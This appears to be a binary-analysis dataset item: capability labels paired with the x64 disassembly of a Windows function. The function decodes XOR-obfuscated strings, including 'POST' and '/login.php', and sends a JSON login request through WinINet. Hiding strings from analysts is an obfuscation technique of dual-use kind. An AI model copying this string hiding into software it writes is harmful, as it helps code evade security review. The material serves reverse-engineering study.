Function at 0x1400050a0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x10f0]
mov eax, 0x11f0
call fcn.140012150
sub rsp, rax
mov rax, qword [0x14004d080]
xor rax, rsp
mov qword [rbp + 0x10e0], rax
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [0x140046020]
movdqu xmmword [rbp + 0xb0], xmm1
mov word [rbp + 0xa0], ax
movups xmmword [rbp + 0x60], xmm0
movdqu xmmword [rbp + 0x70], xmm1
mov word [rbp + 0x60], ax
lea rdx, [0x140045e98]
call fcn.14000c600
xor r8d, r8d
lea edx, [r8 + 0x10]
lea rcx, [rbp + 0xa0]
call fcn.140003f60
lea rdx, [0x140045eb0]
call fcn.14000c600
mov r8b, 1
mov edx, 0x30
lea rcx, [rbp + 0x60]
call fcn.140003f60
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xc0]
call fcn.140003e50
nop
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.140003e50
nop
mov byte [rbp - 0x70], 0x6f
mov al, 0x4d
mov cl, 0x12
xor edx, edx
xor al, 0x6f
mov byte [rbp - 0x6f], al
xor cl, 0x6f
mov byte [rbp - 0x6e], cl
mov byte [rbp - 0x6d], dl
movdqa xmm1, xmmword [0x140046040]
movdqu xmmword [rbp - 0x58], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x57], al
xor byte [rbp - 0x56], cl
xor byte [rbp - 0x55], cl
xor byte [rbp - 0x54], cl
xor byte [rbp - 0x53], cl
xor byte [rbp - 0x52], cl
xor byte [rbp - 0x51], cl
xor byte [rbp - 0x50], cl
xor byte [rbp - 0x4f], cl
xor byte [rbp - 0x4e], cl
xor byte [rbp - 0x4d], cl
xor byte [rbp - 0x4c], cl
xor byte [rbp - 0x4b], cl
xor byte [rbp - 0x4a], cl
mov byte [rbp - 0x49], dl
mov byte [rbp - 0x68], 0x2b
mov al, 0x50
mov cl, 9
mov dl, 0x5e
mov r8b, 0x58
mov r9b, 0x4e
mov r10b, 0x59
mov r11b, 0x45
mov bl, 0x4a
mov dil, 0x46
movzx esi, r9b
movzx r14d, cl
mov r15b, 0x11
movzx r12d, cl
xor r13d, r13d
xor al, 0x2b
mov byte [rbp - 0x67], al
xor cl, 0x2b
mov byte [rbp - 0x66], cl
xor dl, 0x2b
mov byte [rbp - 0x65], dl
xor r8b, 0x2b
mov byte [rbp - 0x64], r8b
xor r9b, 0x2b
mov byte [rbp - 0x63], r9b
xor r10b, 0x2b
mov byte [rbp - 0x62], r10b
xor r11b, 0x2b
mov byte [rbp - 0x61], r11b
xor bl, 0x2b
mov byte [rbp - 0x60], bl
xor dil, 0x2b
mov byte [rbp - 0x5f], dil
xor sil, 0x2b
mov byte [rbp - 0x5e], sil
xor r14b, 0x2b
mov byte [rbp - 0x5d], r14b
xor r15b, 0x2b
mov byte [rbp - 0x5c], r15b
xor r12b, 0x2b
mov byte [rbp - 0x5b], r12b
mov byte [rbp - 0x5a], r13b
lea r8, [rbp + 0xc0]
lea rdx, [rbp - 0x67]
lea rcx, [rbp - 8]
call fcn.14000c910
nop
lea rcx, [rbp - 0x57]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x140005290
lea rdx, [rbp - 0x57]
mov rcx, rax
call fcn.140001c30
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
xor r13d, r13d
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x90]
lea rcx, [rbp - 0x28]
call fcn.140001c30
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
lea rax, [rbp - 0x6f]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140005330
mov r8, rbx
lea rdx, [rbp - 0x6f]
lea rcx, [rbp - 0x48]
call fcn.140001c30
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x1400053b1
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400059c4
call fcn.140011b5c
movdqa xmm0, xmmword [0x140046030]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400053fd
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400059ca
call fcn.140011b5c
movdqa xmm0, xmmword [0x140046030]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140005449
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005444
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400059d0
call fcn.140011b5c
movdqa xmm0, xmmword [0x140046030]
movdqu xmmword [rbp + 8], xmm0
mov byte [rbp - 8], 0
movdqa xmm1, xmmword [0x140046230]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm2, xmmword [0x140046120]
movdqu xmmword [rsp + 0x50], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.HTTPGET
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r15, rax
mov r8d, 0x50
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea rdx, [rsp + 0x41]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r14, rax
test rax, rax
je 0x1400059d6
mov byte [rbp - 0x68], 0x45
mov al, 0x6a
mov cl, 0x29
mov dl, 0x2a
mov r8b, 0x22
mov r9b, 0x2c
mov r10b, 0x2b
mov r11b, 0x6b
mov bl, 0x35
mov dil, 0x2d
movzx esi, bl
xor r12d, r12d
xor al, 0x45
mov byte [rbp - 0x67], al
xor cl, 0x45
mov byte [rbp - 0x66], cl
xor dl, 0x45
mov byte [rbp - 0x65], dl
xor r8b, 0x45
mov byte [rbp - 0x64], r8b
xor r9b, 0x45
mov byte [rbp - 0x63], r9b
xor r10b, 0x45
mov byte [rbp - 0x62], r10b
xor r11b, 0x45
mov byte [rbp - 0x61], r11b
xor bl, 0x45
mov byte [rbp - 0x60], bl
xor dil, 0x45
mov byte [rbp - 0x5f], dil
xor sil, 0x45
mov byte [rbp - 0x5e], sil
mov byte [rbp - 0x5d], r12b
mov byte [rbp - 0x70], 0x7b
mov al, 0x2b
mov cl, 0x34
mov dl, 0x28
mov r8b, 0x2f
xor r9d, r9d
xor al, 0x7b
mov byte [rbp - 0x6f], al
xor cl, 0x7b
mov byte [rbp - 0x6e], cl
xor dl, 0x7b
mov byte [rbp - 0x6d], dl
xor r8b, 0x7b
mov byte [rbp - 0x6c], r8b
mov byte [rbp - 0x6b], r9b
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], 0x84000000
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
lea r8, [rbp - 0x67]
lea rdx, [rbp - 0x6f]
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
test rax, rax
je 0x140005c34
lea r9, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova r9, qword [rbp + 0x40]
mov eax, dword [rbp + 0x50]
mov dword [rsp + 0x20], eax
lea r8d, [r12 + 0x1e]
lea rdx, str.Content_Type:_application_json
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x140005e5b
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], r12b
lea r9, [rbp + 0x18]
mov r8d, 0x1000
lea rdx, [rbp + 0xe0]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000572e
mov eax, dword [rbp + 0x18]
test eax, eax
je 0x14000572e
mov edi, eax
mov rcx, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1400056f1
lea rax, [rcx + rdi]
mov qword [rbp + 0x30], rax
lea rbx, [rbp + 0x20]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0x20]
add rbx, rcx
mov r8d, edi
lea rdx, [rbp + 0xe0]
mov rcx, rbx
call fcn.1400370c0
mov byte [rbx + rdi], 0
jmp 0x14000570c
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xe0]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.140001de0
lea r9, [rbp + 0x18]
mov r8d, 0x1000
lea rdx, [rbp + 0xe0]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400056a1
lea rcx, [rbp + 0x20]
call fcn.1400041f0
test al, al
je 0x140005940
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140005796
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005791
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000608b
call fcn.140011b5c
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400057e1
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006091
call fcn.140011b5c
movdqa xmm0, xmmword [0x140046030]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140005834
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000582e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006097
call fcn.140011b5c
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140005876
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005870
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000609d
call fcn.140011b5c
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x1400058b6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400060a3
call fcn.140011b5c
movdqa xmm0, xmmword [0x140046020]
movdqu xmmword [rbp + 0x70], xmm0
mov word [rbp + 0x60], r13w
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x14000590a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005905
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000593a
call fcn.140011b5c
mov rcx, qword [rbp + 0x10e0]
xor rcx, rsp
call fcn.140011b00
lea r11, [rsp + 0x11f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001899c
nop
lea rdx, [fcn.14000c250]
lea rcx, [0x14004e5b0]
call fcn.140009660
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
mov rcx, rax
lea rdx, [0x140045e68]
call fcn.14000bfa0
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
lea rdx, [fcn.14000c250]
lea rcx, [0x14004e5b0]
call fcn.140009660
mov rcx, rax
lea rdx, [0x140045e40]
call fcn.14000bfa0
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.140018d1c
nop
call fcn.14001899c
nop
call fcn.14001899c
nop
call fcn.14001899c
int3
lea rdx, [fcn.14000c250]
lea rcx, [0x14004e5b0]
call fcn.140009660
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
mov r11, rax
movdqa xmm1, xmmword [0x140046250]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm2, xmmword [0x1400462b0]
movdqu xmmword [rsp + 0x50], xmm2
mov cl, 0x81
mov r8b, 0x84
mov r9b, 0x93
mov r10b, 0x41
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], dl
xor byte [rsp + 0x43], dl
xor byte [rsp + 0x44], dl
xor byte [rsp + 0x45], dl
xor byte [rsp + 0x46], dl
xor byte [rsp + 0x47], dl
xor byte [rsp + 0x48], dl
xor byte [rsp + 0x49], dl
xor byte [rsp + 0x4a], dl
xor byte [rsp + 0x4b], dl
xor byte [rsp + 0x4c], dl
xor byte [rsp + 0x4d], dl
xor byte [rsp + 0x4e], dl
xor byte [rsp + 0x4f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], dl
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
xor cl, dl
mov byte [rsp + 0x60], cl
xor r8b, dl
mov byte [rsp + 0x61], r8b
xor r9b, dl
mov byte [rsp + 0x62], r9b
xor r10b, dl
mov byte [rsp + 0x63], r10b
mov byte [rsp + 0x64], 0
lea rdx, [rsp + 0x41]
mov rcx, r11
call fcn.14000bfa0
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
lea rdx, [fcn.14000c250]
lea rcx, [0x14004e5b0]
call fcn.140009660
mov r10, rax
movdqa xmm1, xmmword [0x1400462d0]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm2, xmmword [0x140046380]
movdqu xmmword [rsp + 0x50], xmm2
mov r9b, 0xd5
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd r8d, xmm1
xor cl, r8b
mov byte [rsp + 0x41], cl
xor byte [rsp + 0x42], r8b
xor byte [rsp + 0x43], r8b
xor byte [rsp + 0x44], r8b
xor byte [rsp + 0x45], r8b
xor byte [rsp + 0x46], r8b
xor byte [rsp + 0x47], r8b
xor byte [rsp + 0x48], r8b
xor byte [rsp + 0x49], r8b
xor byte [rsp + 0x4a], r8b
xor byte [rsp + 0x4b], r8b
xor byte [rsp + 0x4c], r8b
xor byte [rsp + 0x4d], r8b
xor byte [rsp + 0x4e], r8b
xor byte [rsp + 0x4f], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], r8b
xor byte [rsp + 0x52], r8b
xor byte [rsp + 0x53], r8b
xor byte [rsp + 0x54], r8b
xor byte [rsp + 0x55], r8b
xor byte [rsp + 0x56], r8b
xor byte [rsp + 0x57], r8b
xor byte [rsp + 0x58], r8b
xor byte [rsp + 0x59], r8b
xor byte [rsp + 0x5a], r8b
xor byte [rsp + 0x5b], r8b
xor byte [rsp + 0x5c], r8b
xor byte [rsp + 0x5d], r8b
xor byte [rsp + 0x5e], r8b
xor byte [rsp + 0x5f], r8b
xor r9b, r8b
mov byte [rsp + 0x60], r9b
mov byte [rsp + 0x61], 0
lea rdx, [rsp + 0x41]
mov rcx, r10
call fcn.14000bfa0
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.140018d1c
int3
lea rdx, [fcn.14000c250]
lea rcx, [0x14004e5b0]
call fcn.140009660
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
mov r11, rax
movdqa xmm1, xmmword [0x1400462c0]
movdqu xmmword [rsp + 0x68], xmm1
movdqa xmm2, xmmword [0x140046310]
movdqu xmmword [rsp + 0x78], xmm2
mov dl, 0xc1
mov r8b, 0xc8
mov r9b, 0xd3
mov r10b, 0xd2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x69], al
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
xor byte [rsp + 0x70], cl
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x78], al
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
xor byte [rbp - 0x80], cl
xor byte [rbp - 0x7f], cl
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor dl, cl
mov byte [rbp - 0x78], dl
xor r8b, cl
mov byte [rbp - 0x77], r8b
xor r9b, cl
mov byte [rbp - 0x76], r9b
xor r10b, cl
mov byte [rbp - 0x75], r10b
mov byte [rbp - 0x74], r12b
lea rdx, [rsp + 0x69]
mov rcx, r11
call fcn.14000bfa0
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
mov r9, rax
movdqa xmm1, xmmword [0x140046390]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm2, xmmword [0x1400463a0]
movdqu xmmword [rsp + 0x50], xmm2
mov r8b, 0xfe
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd edx, xmm1
xor cl, dl
mov byte [rsp + 0x41], cl
xor byte [rsp + 0x42], dl
xor byte [rsp + 0x43], dl
xor byte [rsp + 0x44], dl
xor byte [rsp + 0x45], dl
xor byte [rsp + 0x46], dl
xor byte [rsp + 0x47], dl
xor byte [rsp + 0x48], dl
xor byte [rsp + 0x49], dl
xor byte [rsp + 0x4a], dl
xor byte [rsp + 0x4b], dl
xor byte [rsp + 0x4c], dl
xor byte [rsp + 0x4d], dl
xor byte [rsp + 0x4e], dl
xor byte [rsp + 0x4f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], dl
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
xor r8b, dl
mov byte [rsp + 0x60], r8b
mov byte [rsp + 0x61], r12b
lea rdx, [rsp + 0x41]
mov rcx, r9
call fcn.14000bfa0
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.140018d1c
int3
lea rdx, [fcn.14000c250]
lea rcx, [0x14004e5b0]
call fcn.140009660
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
mov r11, rax
movdqa xmm1, xmmword [0x140046270]
movdqu xmmword [rsp + 0x68], xmm1
movdqa xmm2, xmmword [0x1400462a0]
movdqu xmmword [rsp + 0x78], xmm2
mov dl, 0x88
mov r8b, 0x81
mov r9b, 0x9a
mov r10b, 0x9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x69], al
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
xor byte [rsp + 0x70], cl
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x78], al
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
xor byte [rbp - 0x80], cl
xor byte [rbp - 0x7f], cl
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor dl, cl
mov byte [rbp - 0x78], dl
xor r8b, cl
mov byte [rbp - 0x77], r8b
xor r9b, cl
mov byte [rbp - 0x76], r9b
xor r10b, cl
mov byte [rbp - 0x75], r10b
mov byte [rbp - 0x74], r12b
lea rdx, [rsp + 0x69]
mov rcx, r11
call fcn.14000bfa0
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
mov r9, rax
movdqa xmm1, xmmword [0x140046340]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm2, xmmword [0x1400462f0]
movdqu xmmword [rsp + 0x50], xmm2
mov r8b, 0xc2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd edx, xmm1
xor cl, dl
mov byte [rsp + 0x41], cl
xor byte [rsp + 0x42], dl
xor byte [rsp + 0x43], dl
xor byte [rsp + 0x44], dl
xor byte [rsp + 0x45], dl
xor byte [rsp + 0x46], dl
xor byte [rsp + 0x47], dl
xor byte [rsp + 0x48], dl
xor byte [rsp + 0x49], dl
xor byte [rsp + 0x4a], dl
xor byte [rsp + 0x4b], dl
xor byte [rsp + 0x4c], dl
xor byte [rsp + 0x4d], dl
xor byte [rsp + 0x4e], dl
xor byte [rsp + 0x4f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], dl
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
xor r8b, dl
mov byte [rsp + 0x60], r8b
mov byte [rsp + 0x61], r12b
lea rdx, [rsp + 0x41]
mov rcx, r9
call fcn.14000bfa0
lea rdx, [fcn.14000c250]
mov rcx, rax
call fcn.140009660
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.140018d1c
int3
call fcn.14001899c
nop
call fcn.14001899c
nop
call fcn.14001899c
nop
call fcn.14001899c
nop
call fcn.14001899c
int3